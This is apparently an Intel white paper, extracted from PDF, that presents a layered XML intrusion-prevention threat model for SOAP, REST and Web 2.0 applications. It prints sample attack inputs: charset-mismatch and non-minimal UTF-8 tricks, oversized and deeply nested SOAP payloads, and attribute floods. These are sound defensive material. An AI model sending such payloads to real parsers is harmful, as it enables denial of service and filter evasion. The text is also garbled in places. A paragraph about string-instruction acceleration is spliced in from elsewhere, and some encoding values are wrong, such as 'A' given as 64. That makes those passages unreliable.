protecting enterprise, saas & cloud-based...

Internal/ExternalXML Stream

txtxxStr/ESt/E/E/E/S

rnal/ML Srn

L Srnalrnal/l/

• Enterprise• SaaS• Cloud Computing

Abstract This document describes a comprehensive threat model for a new breed of threats based on XML content, including XML languages used in the Service Oriented Architecture (SOA) paradigm such as SOAP and the Web Services Description Language [WSDL]. It is imperative that Web/Enterprise 2.0 threats which are taking advantage of XML streams and processors are described in their totality. In today’s environment, architectures and protocols are shifting towards XML and new sets of technology vectors are emerging such as REST and XML-RPC. With Web 2.0, new threats loom on the horizon and consequently new protection methods are required to defend the application layer consuming and serving XML streams. Ajax- and RIA-based applications (Flash and Silverlight) are redefining the usage of XML streams and bringing about a shift in the threat model.

In addition to a new model, this document attempts to define the concept of XML Intrusion Prevention (XIP) as an analog to traditional network-based intrusion prevention. A new type of threat called an XML Content Attack is defined, and examples are provided for each layer in the threat model. Also, this document attempts to use the problem of lost context between XML processing layers to characterize many of the security problems that arise during XML processing.

Finally, this document encompasses the threat model for Web 2.0 with respect to the XIP framework. It is intended that this document will help in discovering and mitigating the rising number of threats in the Web 2.0 environment.

Protecting Enterprise, SaaS& Cloud-based ApplicationsA Comprehensive Threat Model for REST, SOA and Web 2.0

WHITE PAPER

Intel® SOA ExpresswayXML Intrusion Prevention

Previous generation XML

firewalls, inflexible hardware

security appliances, and ESBs

are not equipped to handle the

XML based threats outlined is

this paper. Service Gateways

are presented as a new class

of product that can be used to

secure, mediate and scale

SOAP or REST based services

at the network edge in a

dynamically changing Enterprise

security perimeter.

2

White Paper: XML Intrusion Prevention

Table of Contents1.0 Changing Environment and XML Stream Utilization . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3

1.1 XML Intrusion Prevention (XIP) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4

2.0 Layered XIP Model . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5

2.1 Horizontal Threats . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6

2.2 Vertical Threats . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6

3.0 XIP Model for Application Layer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7

3.1 Web 2.0 Threats . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8

3.2 Document Encoding Threats . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8

3.3 Structural Threats . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10

3.4 Grammar Validation Threats . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12

3.5 Semantic Representation Threats . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14

3.6 Semantic Implementation Threats . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17

3.7 Algorithmic Threats . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18

3.8 XML Security Threats . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19

3.9 External Entity Threats . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21

4.0 Web 2.0 Threats and Countermeasures . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23

4.1 XSS (Cross Site Scripting) with XML streams . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23

4.2 CSRF (Cross Site Request Forgery) with XML streams . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25

4.3 XML poisoning and bombing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26

4.4 In transit routing and revelation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26

4.5 XPATH manipulations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27

4.6 XML node corruption and tampering . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 28

4.7 XML fault enumeration and leakage . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .28

4.8 Tampering with REST . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29

4.9 XML Bruteforcing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 30

4.10 XML Data Access Layer Injections . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31

Proposed Countermeasures . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32

References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32

3


1.0 Changing Environment and XML Stream UtilizationXML data format or stream is very popular with business-to-business API calls or with businesses that make direct calls to the services layer in an

application architecture. Over the last decade, we have seen this dominate the enterprise environment. XML is a backbone for SOA and various

different protocols have been built around XML stream. As shown in Figure 1, a Business Application is making a call to XML services through a

firewall and consuming the service.

Until the last couple of years, XML never achieved popularity in the end-client environment. But with the introduction of Web 2.0 frameworks,

we have seen a drastic shift in communication methodologies. The XMLHttpRequest (XHR) object has empowered browsers to make direct XML

calls to backend Web services, opening up new doors for XML streams. In the current environment, we are seeing both upstream and downstream

communication in XML format between browsers and application layers. An application’s presentation layer (UI) gets loaded in a browser and

utilizes components such as Ajax or RIA and conducts direct communication with the services or business layer. Figure 1 shows a browser making

a call to an application server’s XML services through a firewall.

In this changing environment, threats to XML streams and service layers exist on the following dimensions:

1. XML threats specific to business to business (services) calls and APIs

2. XML upstream (browser to services) attacks specific to Web 2.0 components and protocols.

3. XML downstream (services to browser) threats specific to browsers and end client security

Thus there is significant augmentation in the threat model in the current environment. We will be covering these dimensions throughout

this paper.

Figure 1 – Application environment and XML streams

Firewall(HTTP and XML filters)

Internet

Web 2.0 ClientBrowser StackAjaxRIA (Flash)HTML/JS/DOM

BusinessApplication

usinesusi

SOA or XML Based Services(XML-RPC, REST or SOAP)

DatabaseApplication Server

Downstream XML Message

Upstream XML Message

Business OR

Client (Browser)

XMLServices

ation Satio

4


1.1 XML Intrusion Prevention (XIP)This document describes a comprehensive threat model for a new

breed of threats based on XML content and effectively describes the

requirements and scope for XML Intrusion Prevention (XIP). The threat

model suggested here considers the sum total of XML processing as

a layered architecture that fits between application layer transport

mechanisms such as HTTP or SMTP and the application. Also, the

client layer and the XML stream with application context are newly

added layers which one needs to consider for the Web 2.0 space.

This new XIP model is required due to the “weakest link” property of

secure systems. In any secure system, an attacker will always attempt

to target the weakest link. In the case of network security, the lower

level is a more understood space, with a variety of mature products

and technologies available for network intrusion prevention.

The XML processing stack however, is a new area with clear

weaknesses. These weaknesses are mostly due to the extensibility

and verbosity of XML; the requirements for application-to-application

communication using the SOA paradigm [WS-Arch]; and end client-to-

application communication in the Web 2.0 paradigm. Inter-application

communication using the SOA paradigm means that XML messages

are more closely related to executable code, which opens them up to a

broad array of semantic threats. In the case of the Web 2.0 paradigm,

XML messages can be both inbound and outbound with specific

content and context. In some cases, the XML message may contain

executable code, an attached file, session information, context etc.

In Web 2.0 framework an XML message can be mutated and more

context sensitive, thus opening up a new set of threats for both

services as well as end clients (browsers).

Once XML processing is modeled as a network stack, it begins to

inherit many of the security issues of a layered architecture, including

the problem of lost context between processing layers. The problem

of lost context is a repeated theme within the context of XIP and

occurs when a subordinate layer fails to pass meta-information to an

upper layer. In other words, the lower layer doesn’t communicate all

of the meta-data required for proper XML processing at the higher

layer, resulting in a potential vulnerability. Some examples of this

condition include the failure to pass encoding information, object

model information, XML security information, or data type information

between layers.

If we closely look at the client layer which is processing XML

messages and data in a Web 2.0 framework, we can see that a set of

vulnerabilities has opened. Browsers are now capable of processing

both XML and scripted languages such as JavaScript. This cocktail

makes the browser vulnerable to threats such as Cross Site Scripting

(DOM-driven) or Cross Site Request Forgery (CSRF) with cross-domain

calls. We can see exploitation of Ajax and RIA components with

this set of vulnerabilities. One added vector which can easily breach

the security is an un-trusted source of XML message and data, for

example, a browser loading RSS feed (XML block) from a completely

un-trusted source. Consequently, client side layer needs more

sanitization for XML downstream.

The acceleration advantage of these instructions comes from doing

multiple operations in parallel: equal any compares each input string

character against a set of characters, ranges compares each input

string character against a set of character ranges, and equal ordered

compares a set of substrings against the (shortened) reference string.

1.1.1 XML Content Attacks

XML Intrusion Prevention (XIP) is the theory and practice of protecting

and mitigating XML Content Attacks. An XML Content Attack is any

content within an XML document sent to an upstream endpoint

that places the endpoint in a state that is beneficial to the attacker.

It should be noted that XML Content attacks pervade all languages

based around the XML meta-language, including SOAP and XML Web

Services technologies [WS-Arch]. In the case of Web 2.0 applications

running with their own services layer, both down/up stream XML

messages need protection and mitigation. Merely providing upstream

filtering is not enough. One needs to provide total security for

downstream XML messages as well, which get consumed by Ajax or

RIA. The responsibility for risk mitigation has shifted to the browser

as well.

Due to the highly-structured nature of XML and its constituent

processors, XML content attacks may be inadvertent and result from

software bugs or incorrect data models rather than malicious behavior.

Also, not all XML content attacks are weaknesses in XML itself. In

many cases, the weaknesses are a combination of implementation

deficiencies and complex relationships between processing layers. In

some cases, stream processor is based on protocol or architecture,

particularly with respect to REST and other XML-based RPC calls.

An attacker utilizing an XML content threat may generally rely on at

least one of the following assumptions. These assumptions serve to

make the distinction between an XML content attack and another

type of attack:

• The upstream system parses the XML document using some sort of

XML parser. The parser could be custom-built or off-the-shelf.

• The upstream system is strongly correlating function calls or method

invocation to some part of the XML content. In other words, the sys-

5


tem is, in a loose sense of the word, effectively executing a portion

of the XML document.

• In Web 2.0 environments, downstream comes into play and XML con-

tent coming from XML based services can have potential malicious

content that can place an end client (browser) at risk and a poten-

tially compromising position.

• Application layer XML processing and analysis defects are common

with Web 2.0. In an enterprise application, Ajax/RIA forms the pre-

sentation layer running in the browser and doing XML processing.

while on the server end proprietary XML processing layer is written.

This layer can contain support for XML protocols such as XML-RPC,

REST or SOAP.

1.1.2 The XIP Device

This document makes reference to an XIP device, which is defined as

a firewall that is designed to cover the threats within the XIP space.

This section attempts to detail some of the key requirements of an

XIP device.

Any XIP device (XML Firewall) must meet at least two general

requirements in order to successfully protect against XML Content

Attacks: resiliency and content scrutiny.

• The resiliency requirement means that the XIP device must be

resilient when processing pathological XML data. In other words, the

device should not crash, fail or be driven into an inconsistent state.

• The content scrutiny requirement means that the XIP device must

not pass along any content that may blow out an upstream or

downstream entity or cause any type of unauthorized function call

in an up/down stream entity. In other words, the XIP device must

protect itself and all up/down stream entities that may process the

XML content that flows through it.

2.0 Layered XIP ModelThis section introduces a layered model for describing XML content

attacks. The Layered XIP model fits into a traditional network model

in between application level transport mechanisms such as HTTP and

the consuming application.

The purpose of the layered XIP model is to create a conceptual

structure for understanding the XML content attack threat space. The

XIP model describes classes of threats specific towards XML content

and includes threats based around Service Oriented Architectures

(SOA) and XML Web Services such as XML over HTTP.

Figure 2. Layered XIP Model

Application

HTTP

SSL/TLS

TCP

(E) semanticimplementation threats

(D) semanticrepresentation threats

(C) grammar validationthreats

(B) structural threats

(A) document encoding threats

(iii)

XM

L se

curit

y th

reat

s

(ii) e

xter

nal e

ntity

thre

ats

(i) a

lgor

ithm

ic th

reat

s

6


The layered XIP model has two unique properties that differentiate

it from a traditional network model; it is naturally recursive and the

threat space is multi-dimensional.

• The model is recursive due to the fact that any piece of XML content

can be constructed and processed in layers. This means that each

entity that processes a piece of XML content can only process

certain nodes or unravel certain parts of the document, leaving

further processing to another node. This layered processing implies

that the threat model must be fully re-applied to the well-formed

subdocument in cases where the XML is not processed in full or by

its ultimate receiver.

• The multi-dimensional aspect of the model refers to threats that

are common to multiple horizontal layers, such as algorithmic

threats or XML security threats. This is represented in the XIP

model by showing both vertical and horizontal threats. In the multi-

dimensional model there are specific threats at each level as well as

threats that span one or more levels. Horizontal threats are denoted

with uppercase letters and vertical threats are denoted with lower

case roman numerals.

In addition to multi-dimensional threats, there are also boundary-

layer threats that may occur between horizontal boundaries. These

boundary-layer threats usually refer to a problem of lost context

between layers (such as encoding scheme) which may be the source

of an XML content attack.

The practice of defending against XML content attacks begins with

understanding the threat space. Each layer of the XIP model refers to

a different threat space specified as follows:

2.1 Horizontal Threats

2.1.1 Encoding Threats: An encoding threat is any threat that takes

advantage of lost encoding information between XML processing

layers or imprecise encoding implementations. XML documents

support many different encoding types including UTF-8, UTF-16,

ISO-8859-1, and Windows-1252. These type differences can

introduce subtle holes for an attacker.

2.1.2 Structural Threats: Structural threats refer to oversize XML

components such as elements, attributes, comments or nesting

depth. Not all XML parsers behave consistently when handling well-

formed documents. An attacker may take advantage of an untested

code-path within an XML processing engine by exploiting structural

threats.

2.1.3 Grammar Validation Threats: Grammar validation is the

process of comparing an XML instance to its defining language.

The method of grammar validation is variable and may include

DTD checking [XML], W3C Schema Validation [XML-Schema], Relax

NG [RELAX-NG], and Schematron-based mechanisms. From an

XIP standpoint, there are three general problems with grammar

validation: First, grammar validation mechanisms are not complete

in and of themselves in fully-specifying content models; second,

certain grammar validation mechanisms (such as W3C schema) blur

standard object models such as XPath [XPath]; and third, many XML

language definitions are built to be extensible, creating weak links

for an attacker.

2.1.4 Semantic Representation Threats: Representation threats

refer to cases where XML represents remote procedure or document

passing calls. In these cases the underlying language such as SOAP

[SOAP11] or XML/RPC [XML/RPC] may be subject to semantic

attacks where function parameters are altered to induce malicious

behavior.

2.1.5 Semantic Implementation Threats: Implementation threats

refer to semantic changes within an XML document that rely on

the actual implementation consuming the XML document. In these

cases, the actual implementation may be custom program, such as a

C or Java program, an XSLT engine, or a Perl script.

2.2 Vertical Threats

2.2.1 Algorithmic Threats: Algorithmic threats refer to

implementations of standard processing algorithms, such as hash

tables, that may be efficient in the average case but may degenerate

into exponential space or time behavior with carefully chosen input.

If an attacker can guess the data structure or general algorithm

used, the attacker may be able to produce a Denial of Service (DoS)

condition in the XML processing application. While these types of

threats are not specific to XML processing, they are important for

XIP due to the intense algorithmic processing that XML undergoes

due to its highly structured nature.

2.2.2 External Entity Threats: XML documents use URI [RFC2396]

mechanisms to refer to external or document internal data and

structures. These URI references are de-referenced not only during

grammar validation, but also during application processing. To this

effect, an external entity threat is any type of threat where an

external URI is overloaded with malicious data that causes an XML

application to de-reference an external source unnecessarily. This

covers all types of external entity attacks, not just those based on

the Document Type Definition.

2.2.3 XML Security Threats: XML documents may have W3C

security mechanisms such as XML Signature [XMLSIG] or XML

Encryption [XENC] applied, either directly or under the profile of

7


another specification such as OASIS WS-Security [WSS-Sec]. Because

XML Signature and XML Encryption are in fact XML representations,

they have the same inherent security problems as generic XML

data, including attacks based on encoding and external entities.

Further, specialized attacks such as the Davis Attack [DAVIS] are

also possible due to the recursive nature of XML Encryption and XML

Signature. Any threat that is capable of subverting or manipulation

message-level security mechanisms without directly attacking the

cryptography is considered an XIP-based XML Security threat.

3.0 XIP Model for Application Layer

In Figure 2 we encountered threats below the application layer. Next,

we need to decompose the application layer. Enterprise applications

running in the Web 2.0 space use XML streams at both ends and

various components to process these streams. An application layer

can be dissected in two segments — client and server. As shown in

Figure 3 we have two layers.

Client’s layer: It is running in the browser and XML streams are being

processed by several different components such as DOM, JavaScript

engine, Plug-ins, XHR object etc. The application layer would have

its own XML processing by leveraging XHR object or customized,

developed modules or plug-ins. The XML stream is captured from

HTTP and is passed to layers above in a browser model. A malicious

XML stream directed at the browser can create a significant threat

and can compromise end-client security.

DOM

JavaScript

Plug-in (Flash/Silverlight)

XMLHttpRequest (XHR)

HTTP/TCP

Data AccessCross

DomainProxy

InternalInformation

Source

ExternalInformation

Source

Web 2.0 App Source Code

XML Processor (Library)

HTTP/TCP

In-Transit pipe

XMLStreams

Figure 3. Application Layers for XML streams

8


Server layer: The XML processor engine is created by libraries or

customized code on the server end. Web 2.0 application sources

would be leveraging these libraries and using protocols such as XML-

RPC, SOAP or REST. All these protocols are XML-driven and capable of

carrying payloads. The application source would be using data access

layer to consume internal resources. Web 2.0 applications are unique

in nature and applications require cross-domain calls. The browser

can’t bypass SOP (Same Origin Policy).One of the ways to bypass it

by implements proxy on the server end. This proxy gets stream from

targeted external resource over the Internet and passes information

back to the application or client layer.

One needs to analyze threats based on above model. Clearly threats

are on three different segments:

a. Application layer XML processing source

b. Client or browser layer XML processing calls

c. In-Transit threat for XML streams

These threats are listed in next section.

3.1 Web 2.0 Threats

A Web 2.0 threat model for XML streams can have following set of

threats and risks.

3.1.1 XSS (Cross Site Scripting) with XML streams: XSS is a very

common threat vector for Web 2.0 applications. XHR object takes

XML stream and processes under the browser’s DOM context. XML

stream coming from server via proxy or database may have an

executable script. This script is embedded in the XML payload and

can cause damage to the end-client session. In certain cases, XML

upstream can have malicious JavaScript which can cause persistent

or non-persistent XSS as well.

3.1.2 CSRF (Cross Site Request Forgery) with XML streams:

XML streams originating from the browser can be easy prey for

CSRF attacks. Services running and consuming XML streams are

associated with some critical transactions and if CSRF is forced on

the end- client, it can lead to potential compromise for identity.

3.1.3 XML poisoning and bombing: XML streams injected in the

application layer are processed by libraries and source code. If XML

streams are poisoned by multiple and recursive nodes, it can affect

server-side application layer. Some of the threats defined in section

2 can be part of this layer.

3.1.4 In transit-routing and revelation: XML streams in some

cases can be routed using WS-Routing protocols. In those cases,

if intermediate nodes are compromised, then entire streams can

be accessed and manipulated. XML streams can be accessed and

hijacked while in transit if protective measures are not taken.

3.1.5 XPATH manipulations: XPATH is a popular means for querying

XML documents. Components related to XPATH can reside in the

application layer. If XPATH manipulations are done in XML streams,

potential damage may be inflicted on the Web 2.0 resources.

3.1.6 XML node corruption and tampering: XML nodes carry critical

data, which can have logical processing nodes as well. It is possible to

tamper with these nodes which can then breach the business-logic layer.

Web 2.0 resources can be exploited by tampering with these nodes.

3.1.7 XML fault enumeration and leakage: Web 2.0 resources

process XML structures and if there are any errors during the

process it emits fault which is embedded only in the XML stream.

These faults can help an attacker enumerate vulnerabilities.

This information leakage is another source for vulnerability

substantiation.

3.1.8 Tampering with REST: REST-based applications are running

over the XML pipe only. REST inputs are on XML for certain

operations like CREATE and this operation can be tampered with.

3.1.9 XML Bruteforcing: If an authentication process is proceeding

over XML nodes, then at the application layer one can bruteforce the

authentication streams. This is a common way of getting access to

application.

3.1.10 XML Data Access Layer Injections: In certain types of Web

2.0 applications, Ajax calls may initiate direct XML streams and calls

to backend data services. These streams become entry points for

potential SQL interfaces. If these streams are not well guarded, it can

lead to SQL exploitation.

3.2 Document Encoding Threats

3.2.1 Encoding Discrepancies (refer to section 2.1)

HTTP headers utilize a charset parameter intended to specify the

encoding for the content-type. In cases where the XML payload has

a different encoding, the encoding specified in the HTTP parameter

takes precedence.

In cases where the XML payload is stored with the XML declaration,

the original content-type in the HTTP parameters may be lost if the

content-type isn’t explicitly stored. The discrepancy in the encoding

can lead to buffer overflow and misinterpretation conditions

For example, consider the following HTTP POST and XML payload:

POST /test/service1 HTTP/1.1

From: [email protected]

User-Agent: AttackClient/1.0

Content-Type: text/xml; charset=”iso-8859-1”

Content-Length: XX

9


<?xml version=”1.0” encoding=”UTF-8”?>

<doc>

…

</doc>

According to the HTTP parameters, the encoding of the XML

document should be ISO-8859-1 not UTF-8.

If we assume that the document (<doc/>) contains a division sign

(ISO-8859-1 code 247,) the bits on the wire should be represented as

follows:

1111 0111 (0xF7)

For ISO-8859-1 encoding this is perfectly valid for a division sign.

If this encoding context is lost however, the character would be

interpreted as UTF-8 per the XML declaration. In this case, the UTF-8

rules would interpret the first five bits (1111 0) as a length indicator

which would use a 4-byte sequence as the character representation

instead of the one byte for the division sign.

This implies that the bytes that follow the division sign in the original

document would be interpreted as a single 4-byte UTF-8 character,

effectively changing the syntax of the actual XML document. This

occurs because the UTF-8 encoding is counting the three bytes that

occur *after* the division sign in the ISO-8859-1 encoded document.

This type of encoding discrepancy can occur on any character that

looks like a multi-byte UTF-8 encoding based on the first four bits. For

ISO-8859-1 this would be characters in the range 192 (0xC0) through

255 (0xFF).

An attacker may use knowledge regarding subtleties in how

encodings are handled to alter XML documents in a malicious way,

effectively changing the way the content is interpreted.

3.2.2 Minimal Encoding Rule

Encoding schemes such as UTF-8 allow for multi-byte encoding forms

to support larger ranges of characters. In cases where XML parsers

don’t follow the minimal encoding rule, multiple bytes may be used to

encode characters that only require a single byte value. For example,

consider the ASCII character “A” which has a value of 64 (0x41). If the

minimal encoding rule is not used, UTF-8 may represent the character

“A” as a two byte sequence 0xC1 0x81 (11000001 10000001).

XML processors that do not recognize non-minimal encoding properly

may end up forwarding malicious content to other systems. This may

include processing instructions or complete elements. This occurs in

situations when the minimal encoding rule is not recognized during

input, but is normalized during output.

For example, the non-minimal 2-byte UTF-8 encoding for the left

angle bracket is the value 0xC0 0xBC (11000000 10010000)


<doc>

À¼malicious>

À¼/malicious>

À¼?dangerous pidata?>

</doc>

In the previous example, the element <malicious> is formed by using a

non-minimal encoding to represent the left angle bracket. This would

be represented in the content as ASCII characters that correspond

to 0xC0 and 0xBC, respectively. In this case, the hack applied to the

left angle bracket will confuse a UTF-8 implementation that does not

properly recognize non-minimal encoding and it will believe that the

<doc> element contains just content and no elements or processing

instructions. Note that only the left angle bracket must be hacked to

trick the XML parser into believing the <doc> element contains text

content.

When the <doc> document is serialized and forwarded on, the

normalization mechanism may recognize the two-byte sequences as

an angle bracket and may insert markup that could be processed by

downstream entities. In this scenario, it is important for an XIP device

to ensure that if content is blocked at a perimeter, it enforces these

rules for all back-end downstream entities.

For example, it may be discovered that a particular XML processing

node has a security hole with certain processing instructions. This

minimal encoding rule attack, if present, may create a way for an

attacker to bypass an XIP device that is attempting to filter processing

instructions or any other XML content.

Example (Normalized):


<doc>

<malicious>

</malicious>

<?dangerous pidata?>

</doc>

3.2.3 Multi-byte End of Buffer Sequences

The attacks described in this section rely on the multi-byte encoding

used by UTF-8 and UTF-16. Both of these attacks are speculative and

require a sophisticated attacker with intimate knowledge of the XML

parsing implementation.

10


For UTF-16, most characters can be encoded using a single 16-bit

word. For values greater than 2 1̂6, a surrogate pair of two 16-bit

words must be used. A sophisticated attacker could place the first

word of a surrogate pair in an XML document where the attacker

knows the XML processor will read at a buffer boundary. This may

cause the XML processor to read past the end of the buffer, causing a

possible buffer overflow attack.

A similar situation occurs for UTF-8. For example, UTF-8 represents

the length of the encoded octets in the first byte of the multi-byte

sequence. For example, a five bit pattern of 11110XXX indicates a

four byte UTF-8 sequence. If this appears as the last byte of input it

is possible that an XML processor would attempt to read past the end

of a buffer, causing a misinterpretation of the XML content or possible

buffer overflow.

3.3 Structural ThreatsSome of the keywords for most threats in this category include:

coercive parsing, jumbo payloads, oversize payloads, XML Denial

of Service (XDoS), node depth attacks, buffer overflow, and XML

component attacks.

An important feature of attacks in this category is that the XML is

well-formed, meaning that it is considered syntactical valid by most

parsers without limit enforcement.

Each of the following examples show potential attacks in this

category.

3.3.1 Oversize Payload (refer to section 2.1)

An oversize payload is any XML element that contains a large amount

of data intended to cause a Denial of Service condition or buffer

overflow condition during parsing. This type of attack is perhaps one

of the most basic attacks that may be used to overwhelm a parser.

A simple example of an oversize payload is a large amount of encoded

data within an element.


<soap:Envelope xmlns:soap=”http://schemas.

xmlsoap.org/soap/envelope/”>

<soap:Body>

<oversize>

AdsG4d943wvcjur532MZ42Fdsj+2jfrws=2r45j2fwS

DjgfdsFRjs24942309fsDxzjtr32ur539sdZxjfws0t5

r432jdlsfff

…



</oversize>

</soap:Body>

</soap:Envelope>

Another example of an oversize payload is an inordinately large

number of elements within an XML document:




<soap:Body>

<oversize>

<attack/>

<attack/>

<attack/>

…



</oversize>

</soap:Body>

</soap:Envelope>

3.3.2 Oversize Element Names, Attribute Names, Processing Instruction Target Names

The size of an individual XML component may also be the target of an

attack.

An example of oversized element names, attribute names and

processing instruction targets are shown as follows:




<soap:Body>



3.3.3 Oversized Attribute Count

An attacker may also attempt to break a parser by supplying a large

number of attributes on a single element. For example:

11





<soap:Body>



<GetStockQuote a=”1” a=”1” a=”1” a=”1” a=”1”

a=”1” a=”1” a=”1” a=”1” a=”1” a=”1” a=”1”

a=”1” a=”1” a=”1” a=”1” a=”1” a=”1” a=”1”

a=”1” a=”1” a=”1” a=”1” …/>

</soap:Body>

</soap:Envelope>

3.3.4 Deep Element Nesting

An attacker may attempt to break a parser by supplying a deeply

nested XML document

For example:




<soap:Body>

<GetStockQuote>

<!—An XML subdocument with thousands or

millions of nested elements may cause

trouble with some XML parsers -->

<attack>

<attack>

<attack>

<attack>

…

</GetStockQuote>

</soap:Body>

</soap:Envelope>

3.3.5 Oversized Comments, Character Data, Processing Instruction Data, and Attribute Values

An attacker may attempt to break a parser by generating various

oversized components. For example:




<soap:Body>

<!—

An oversized comment such as this one may

continue to hundreds or thousands of megabytes

causing pathological conditions in an XML

parser!-->

432AdsG4d943wvcjur532MZ42Fdsj+2jfrws=2r45j2fwSD

jgfdsFRjs24942309fsDxzjtr32ur539sdZxjfws0t5r432

jdlsfff432AdsG4d943wvcjur532MZ42Fdsj+2jfrws=2r4

5j2fwSDjgfdsFRjs24942309fsDxzjtr32ur539sdZxjfws

0t5r432jdlsfff432AdsG4d943wvcjur532MZ42Fdsj+2jfr

ws=2r45j2fwSDjgfdsFRjs24942309fsDxzjtr32ur539

sdZxjfws0t5r432jdlsfff432AdsG4d943wvcjur532MZ

42Fdsj+2jfrws=2r45j2fwSDjgfdsFRjs24942309fsDxzjt

r32ur539sdZxjfws0t5r432jdlsfff…

-->



<![CDATA[

sG4d943wvcjur532MZ42Fdsj+2jfrws=2r45j2fwSDjgfdsF

Rjs24942309fsDxzjtr32ur539sdZxjfws0t5r432jdlsfsG

4d943wvcjur532MZ42Fdsj+2jfrws=2r45j2fwSDjgfdsFRj

s24942309fsDxzjtr32ur539sdZxjfws0t5r432jdlsf …

]]>



<GetStockQuote XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX






XXXXXXXXXXXXXX … =”foo” />

</soap:Body>

</soap:Envelope>

12


3.4 Grammar Validation ThreatsSome of the keywords for most threats in this category include:

schema poisoning, extraneous declarations.

Many of the attacks in this category highlight misconceptions regard-

ing grammar validation as a security feature. In many cases, grammar

validation fails to provide adequate protection for malicious content. In

other cases, lazy implementations may skip subtle requirements that

can lead to security holes.

Each of the following examples show potential attacks in this

category.

3.4.1 Schema Extensibility (refer to section 2.1)

Many standard security schemas are extensible, meaning that it is

permissible to insert arbitrary content into the data model without af-

fecting the schema validity of the document instances. This is done to

provide extensibility for the language defined by the schema.

Some important examples of this include OASIS WS-Security [WSS-

Sec], W3C XML Signature [XMLSIG], and W3C XML Encryption [XENC].

These examples are highlighted because they are security centric

schemas.

Extensible schemas are schemas that make use of the any or

anyAttribute element along with the lax attribute value for the pro-

cessContents attribute.

Below is an example from the OASIS WS-Security 1.0 schema that

shows how the main Security header element is designed to allow any

arbitrary content. The problematic areas are shown in bold:

<xsd:complexType name=”SecurityHeaderType”>

<xsd:sequence>

<xsd:any processContents=”lax” minOccurs=”0“

maxOccurs=”unbounded”>

<xsd:annotation>

<xsd:documentation>

The use of “any” is to allow extensi-

bility and different forms of security

data.

</xsd:documentation>

</xsd:annotation>

</xsd:any>

</xsd:sequence>

<xsd:anyAttribute namespace=”##other“

processContents=”lax” />

</xsd:complexType>

A simple Denial of Service attack using an oversized payload is shown

below. It is important to note that this element is considered schema

valid, based on the element definition.

<wsse:Security xmlns:wsse=

“http://www.docs.oasis-open.org/wss/2004/01/

oasis-200401-wss-wssecurity-secext-1.0.xsd”



<Attack>DoS</Attack>






<Attack>DoS</Attack>…

</wsse:Security>

3.4.2 Schema Type Coercion

Some schema validation implementations may overlook type coercion.

For example, consider the following element definition for a serial

number:

<?xml version=”1.0”?>

<xs:schema xmlns:xs=”http://www.w3.org/2001/

XMLSchema”>

<xs:element name=”serialnumber”

type=”xs:integer” />

</xs:schema>

This schema defines an element called serialnumber to be of

type integer.

Consider now an instance document that uses the W3C schema rules

for inline type coercion. This mechanism allows a type to be modified

inline through the use of the type attribute.

For example, because an xs:unsignedByte is a subtype of

xs:integer, the following document is schema valid:



<serialnumber xmlns:xsi=”http://www.w3.org/2001/

XMLSchema-instance”

13


xmlns:xs=”http://www.w3.org/2001/XMLSchema”

xsi:type=”xs:unsignedByte”>153</

serialnumber>

If the type coercion is pushed upwards towards a super type, a com-

pliant schema validation engine is supposed to throw an error. For

example:



<serialnumber xmlns:xsi=”http://www.w3.org/2001/

XMLSchema-instance”

xmlns:xs=”http://www.w3.org/2001/XMLSchema”

xsi:type=”xs:decimal”>153.343</serialnumber>

